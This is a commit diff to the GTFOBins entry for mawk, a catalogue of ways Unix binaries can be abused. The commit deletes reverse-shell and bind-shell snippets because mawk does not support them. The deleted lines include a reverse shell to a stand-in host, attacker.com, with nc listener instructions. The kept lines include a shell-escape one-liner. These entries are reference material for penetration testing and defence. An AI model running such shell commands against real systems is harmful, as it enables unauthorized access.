Remove network shell functions from mawk as not supported

_gtfobins/mawk.md

@@ -2,23 +2,6 @@
 functions:
   shell:
     - code: mawk 'BEGIN {system("/bin/sh")}'
-  non-interactive-reverse-shell:
-    - description: Run `nc -l -p 12345` on the attacker box to receive the shell.
-      code: |
-        RHOST=attacker.com
-        RPORT=12345
-        mawk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
-            s = "/inet/tcp/0/" RHOST "/" RPORT;
-            while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
-            while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
-  non-interactive-bind-shell:
-    - description: Run `nc target.com 12345` on the attacker box to connect to the shell.
-      code: |
-        LPORT=12345
-        mawk -v LPORT=$LPORT 'BEGIN {
-            s = "/inet/tcp/" LPORT "/0/0";
-            while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
-            while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
   file-write:
     - code: |
         LFILE=file_to_write